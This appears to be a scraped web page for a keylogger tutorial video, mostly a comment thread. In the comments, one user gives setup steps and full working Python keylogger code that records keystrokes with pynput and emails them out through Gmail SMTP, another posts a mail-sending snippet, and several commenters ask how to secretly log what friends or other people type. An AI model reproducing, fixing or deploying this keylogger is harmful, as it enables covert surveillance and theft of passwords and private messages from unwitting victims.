Сегодня мы создаем кейлоггер, который отправляет нажатия клавиш с компьютера прямо на выбранный вами адрес электронной почты.

source
According to researches by the adsmember team

Rate us
0 0 votes
Article Rating
Subscribe
Notify of
guest
33 Comments
Oldest
Newest Most Voted
Inline Feedbacks
View all comments
Kazuk1
Kazuk1
1 month ago

Imagine getting pinned

jesus lautaro
jesus lautaro
1 month ago

import smtplib

import keyboard

gmail_user = input("n escribe tu correo >> ")

gmail_pwd = input("n escribe tu contraseña >> ")

msg = input("n mensaje >> ")

to = '[email protected]'

def mandar_mail(gmail_user,gmail_pwd,to,msg):

try:

smtpserver = smtplib.SMTP("smtp.gmail.com",587)

smtpserver.ehlo()

smtpserver.starttls()

smtpserver.ehlo

smtpserver.login(gmail_user, gmail_pwd)

smtpserver.sendmail(gmail_user, to, msg)

print ("n Se envio el correo ")

smtpserver.close()

except Exception:

print("nNO se pudo enviar el mensaje al correo")

mandar_mail(gmail_user,gmail_pwd,to,msg)

sad smile
sad smile
1 month ago

Do I have to install python on the target machine?

Vladmir Putin
Vladmir Putin
1 month ago

I entered the password in power shell but it gave me this message
Traceback (most recent call last):

File "C:UsersblankDownloadsKeyloggerKeylogger.py", line 9, in <module>

server.login(email, password)

File "C:Program FilesWindowsAppsPythonSoftwareFoundation.Python.3.10_3.10.1264.0_x64__qbz5n2kfra8p0libsmtplib.py", line 750, in login

raise last_exception

File "C:Program FilesWindowsAppsPythonSoftwareFoundation.Python.3.10_3.10.1264.0_x64__qbz5n2kfra8p0libsmtplib.py", line 739, in login

(code, resp) = self.auth(

File "C:Program FilesWindowsAppsPythonSoftwareFoundation.Python.3.10_3.10.1264.0_x64__qbz5n2kfra8p0libsmtplib.py", line 662, in auth

raise SMTPAuthenticationError(code, resp)

smtplib.SMTPAuthenticationError: (535, b'5.7.8 Username and Password not accepted. Learn more atn5.7.8 https://support.google.com/mail/?p=BadCredentials l2-20020a37bb02000000b0069fc13ce21esm4498320qkf.79 – gsmtp')

Labas Ate
Labas Ate
1 month ago

Can you give all line of code?

Muhammad Nouman
Muhammad Nouman
1 month ago

can I have the code in text file plz?

SelvixSZN
SelvixSZN
1 month ago

I’m new to this but how do keylog someone

Taylor Pine
Taylor Pine
1 month ago

Dude do you have the code on github

Pombo Chapado
Pombo Chapado
1 month ago

How can I create a code within a digispark that installs or pythom code and executes?

Rick Dean
Rick Dean
1 month ago

Anything for Android ?

Crypto Buffet
Crypto Buffet
1 month ago

Yeah but you on same computer. I heard u need direct contact to open email to download..am i correct like if i send it to someone if they dont downlaod it right it wont work

Mario Andrei
Mario Andrei
1 month ago

i need help

Xans kid
Xans kid
1 month ago

When I create this, can I send a link to someone and keylog what they do afterwards?

Jxrry_
Jxrry_
1 month ago

so is there a link or????

Sameerkha Pathan - 76
Sameerkha Pathan - 76
1 month ago

Bro can you share the source code

Leonardo Medeiros
Leonardo Medeiros
1 month ago

msg = _fix_eols(msg).encode('ascii')
UnicodeEncodeError: 'ascii' codec can't encode character 'xe7' in position 9: ordinal not in range(128)

Hello, how can I solve this? I studied a bit about encode, but I don't know how to assign this to my code, can anyone help me?

Super grief
Super grief
1 month ago

i dont get a email, when i type

Gacha Animal
Gacha Animal
1 month ago

Hello i have a problem, can you help me to understand and to fix it ? line 38

word += ' '

^

IndentationError: expected an indented block

Darron Miller
Darron Miller
1 month ago

Hi where can i find the links?

Marshall Unduemi
Marshall Unduemi
1 month ago

Link 🔗 doc please

nacim mohamed
nacim mohamed
1 month ago

Where can I find the whole code ?

Ankit maurya
Ankit maurya
1 month ago

we wants the code of keylogger

Anthony Reeves
Anthony Reeves
1 month ago

links?

Cucuka YT
Cucuka YT
1 month ago

Wait……. and where's the code? 😀

Jorge Núñez
Jorge Núñez
1 month ago

Hi all. My first language is spanish, so I will try to do my best to be understood. First of all i thank the author of the video for his teachings. I want to reinforce what is indicated in the video, and, finally, i will add the code (it works for me, after correcting a character in the code that i wrote wrong, it was l (lowercase L) instead of 1.

I developed the code in pycharm.

There, using the terminal, we install, in the project that opens by default, virtualenv, by means of: pip install virtualenv.

Then, if the venv folder was not created by default in the projects folder, we create it, always in the terminal with the following commands: virtualenv venv. If the folder already exists, we no longer do this step.

Then, we expand this venv folder, and then we expand the Scripts folder and we see that inside the latter we have the file: activate.bat. This is the file that we are going to activate in the terminal, as follows:

.venvScriptsactivate.bat

Then, inside the projects folder, at the "height" of the venv folder, we create our own folder, for example with the name "src". And inside this folder, we will create our file, the keylogger, with the name we want and the .py extension, for example "keypycharm.py".

And here inside we write the code of the video, which is the transcript below.

But, before executing the code, there is still something to do. And that something is to activate the access of insecure applications, of gmail, a process that you can easily guide yourself by searching the internet. If you don't do this step now, the keylogger won't be able to run and you'll get errors.

Once all this is done, now you are ready to execute the file, always in the terminal. If you are inside the projects folder and we assume that your folder and your file are named as I put the example names, the execution would be through the following commands: python src/keypycharm.py

When you enter your email and password, you can write on your pc and after 50 characters or more press enter and check your email. As this keylogger is basic, do not write any character of the ascii code or you will get an error. And also remember that if you press the esc key, the keylogger stops.

I hope with this to reinforce what is taught by Beaufort Tek, and that it can be better understood by everyone. I am also an amateur programmer like you and I have to learn through trial and error, and I know that it suffers a lot when someone who does not know is not taught these things that, being basic, are believed to be we know. And it happens that being like this, we never get to execute a code in python no matter how many times we give the subject.

If this helped you, let me know with a like. I have been extensive so that I can be understood clearly. I do not think that it responds to any concern that this contribution may arise.

Greetings to all.

And finally I leave you the code so you can copy it:

import getpass

import smtplib

from pynput.keyboard import Key, Listener

email = input('Email: ')

password = getpass.getpass(prompt = 'Password: ', stream = None)

server = smtplib.SMTP_SSL('smtp.gmail.com', 465)

server.login(email, password)

full_log = ''

word = ''

email_char_limit = 50

def on_press(key):

global word

global full_log

global email

global email_char_limit

if key == Key.space or key == Key.enter:

word += ' '

full_log += word

word = ''

if len(full_log) >= email_char_limit:

send_log()

full_log = ''

elif key == Key.shift_l or key == Key.shift_r:

return

elif key == Key.backspace:

word = word[:-1]

else:

char = f'{key}'

char = char[1:-1]

word += char

if key == Key.esc:

return False

def send_log():

server.sendmail(

email,

email,

full_log

)

with Listener(on_press=on_press) as listener:

listener.join()

XIBES-GANG
XIBES-GANG
1 month ago

Hello i have a quetschen Wehen i send this to my friend and he login to the cmd keylogger data like you do before can i see what hes typing ?

martinohelll
martinohelll
1 month ago

it gives me an error about the missing import of ''pynput.keyboard''

July Aprillia
July Aprillia
1 month ago

Android please. Sir

battyroshko
battyroshko
1 month ago

Link?

iiqzt
iiqzt
1 month ago

How do u remove one off your pc

subacc2
subacc2
1 month ago

@Beufort Tek is a troll lol

Roberts Z.
Roberts Z.
1 month ago

what apps are you using?

S. M.
S. M.
1 month ago

free?

33
0
Would love your thoughts, please comment.x
()
x